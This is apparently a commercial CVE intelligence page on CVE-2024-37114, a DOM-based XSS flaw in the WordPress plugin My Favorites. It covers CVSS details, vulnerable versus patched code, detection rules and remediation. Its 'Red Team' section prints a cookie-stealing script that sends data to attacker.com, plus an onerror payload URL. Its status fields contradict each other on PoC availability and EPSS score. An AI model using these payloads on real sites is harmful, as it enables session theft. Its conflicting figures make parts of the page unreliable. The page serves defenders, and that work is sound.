☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Takashimatsuyama logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-37114

CVE-2024-37114 Cross-Site Scripting in Takashimatsuyama
📅 PUBLISHED: 2024-07-22 10:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.26%
👁️
0.26% probability
6.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-37114 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the WordPress plugin My Favorites by Takashi Matsuyama, affecting versions up to and including 1.4.3. The vulnerability stems from improper neutralization of user input during web page generation, allowing an attacker to inject malicious scripts that execute in the context of the victim's browser. With a CVSS score of 6.5 (Medium), this flaw can be exploited without authentication but requires user interaction (e.g., clicking a crafted link). No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor. The EPSS score of 0.0% indicates low exploitation activity in the wild, but the risk remains for unpatched WordPress sites.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since no patch is available, users must rely on manual mitigation or removal of the plugin. The lack of vendor response raises supply chain concerns, as the plugin may be abandoned or unmaintained. Organizations using this plugin should assess its necessity and consider replacing it with an actively maintained alternative.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – Victim must click a malicious link or visit a crafted page.
  • Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. Exploitation requires user interaction, but the DOM-based nature allows script execution in the victim's browser, potentially leading to session hijacking, credential theft, or defacement.

Deep Dive & Mechanics

The vulnerability resides in the my-favorites plugin's JavaScript handling of user-supplied data. DOM-Based XSS occurs when client-side scripts dynamically update the DOM using untrusted input without proper sanitization. In this case, the plugin likely reads data from document.location, document.URL, or window.name and injects it into the page via innerHTML or similar methods.

Attack Flow:

  1. Attacker crafts a malicious URL containing a JavaScript payload in a parameter or fragment (e.g., #<script>alert('XSS')</script>).
  2. Victim clicks the link, which loads the vulnerable WordPress page.
  3. The plugin's JavaScript extracts the payload from the URL and inserts it into the DOM without sanitization.
  4. The payload executes in the victim's browser, allowing the attacker to steal cookies, redirect to phishing sites, or perform actions on behalf of the user.

Root Cause: Lack of input validation and output encoding in client-side code. The plugin fails to use safe DOM manipulation methods (e.g., textContent instead of innerHTML) and does not escape special characters.

Vulnerable vs. Patched Code

Since no patch is available, the following shows a hypothetical vulnerable code snippet and a secure version.

Vulnerable Code (JavaScript):

// my-favorites.js (v1.4.3)
var userInput = window.location.hash.substring(1);
document.getElementById('favorites-list').innerHTML = userInput;

Patched Code (Hypothetical):

// my-favorites.js (patched)
var userInput = window.location.hash.substring(1);
var sanitized = DOMPurify.sanitize(userInput);
document.getElementById('favorites-list').textContent = sanitized;

The patched version uses textContent (which does not interpret HTML) and applies DOMPurify for additional safety.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • WordPress site with My Favorites plugin <= 1.4.3.
  • Ability to craft a malicious URL.

Exploitation Steps:

  1. Identify the vulnerable parameter (e.g., # fragment or ? query).
  2. Craft a payload: https://target.com/?favorite=<img src=x onerror=alert(document.cookie)>
  3. Send the link to the victim via phishing email or social engineering.
  4. Upon click, the payload executes, exfiltrating cookies or performing actions.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team (Defensive)

Detection & Prevention:

  • Monitor web logs for unusual URL fragments or query strings containing <script>, onerror, or javascript:.
  • Deploy a Web Application Firewall (WAF) with rules to block XSS patterns.
  • Use Content Security Policy (CSP) headers to restrict script execution.
  • Regularly scan WordPress plugins for known vulnerabilities.

Lab Setup:

  • Install WordPress with My Favorites plugin v1.4.3 on a local server.
  • Use a browser with developer tools to inspect DOM manipulation.
  • Test with benign payloads (e.g., <b>test</b>) to confirm injection.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests containing my-favorites in the URL path.
    • URL parameters or fragments with XSS payloads (e.g., <script>, onerror).
    • Outbound connections to unknown domains (data exfiltration).
  • Host IOCs:

    • Presence of my-favorites plugin in /wp-content/plugins/.
    • Modified JavaScript files in the plugin directory.
    • Suspicious entries in WordPress database (e.g., injected scripts in post content).
  • File IOCs:

    • wp-content/plugins/my-favorites/my-favorites.js (vulnerable version).
    • Checksum mismatch for plugin files.

Detection Engineering

YARA Rule

rule CVE_2024_37114_DOM_XSS {
    meta:
        description = "Detects vulnerable My Favorites plugin JavaScript files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-37114"
    strings:
        $vuln_func = "innerHTML" nocase
        $vuln_source = "location.hash" nocase
        $plugin_id = "my-favorites" nocase
    condition:
        $plugin_id and $vuln_func and $vuln_source
}

Sigma Rule

title: CVE-2024-37114 DOM-Based XSS in My Favorites Plugin
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1a3d4f5e6c
status: experimental
description: Detects potential exploitation of DOM XSS in My Favorites WordPress plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "/wp-content/plugins/my-favorites/"
        cs-uri-query|contains:
            - "<script"
            - "onerror="
            - "onload="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of similar patterns in other plugins
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-37114 DOM XSS in My Favorites Plugin"; flow:to_server,established; content:"/wp-content/plugins/my-favorites/"; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable or remove the My Favorites plugin until a patch is released.
  2. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
  3. Add Content Security Policy (CSP) headers: default-src 'self'; script-src 'self'.
  4. Educate users about phishing links and suspicious URLs.

Long-Term Measures:

  • Replace the plugin with an actively maintained alternative (e.g., "WP Favorites").
  • Regularly audit WordPress plugins for vulnerabilities.
  • Subscribe to security advisories for WordPress ecosystem.

Patch Status: No official patch available. Monitor the WordPress plugin repository for updates.


Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/my-favorites"
http.html:"my-favorites" "wp-ajax"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-37114/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.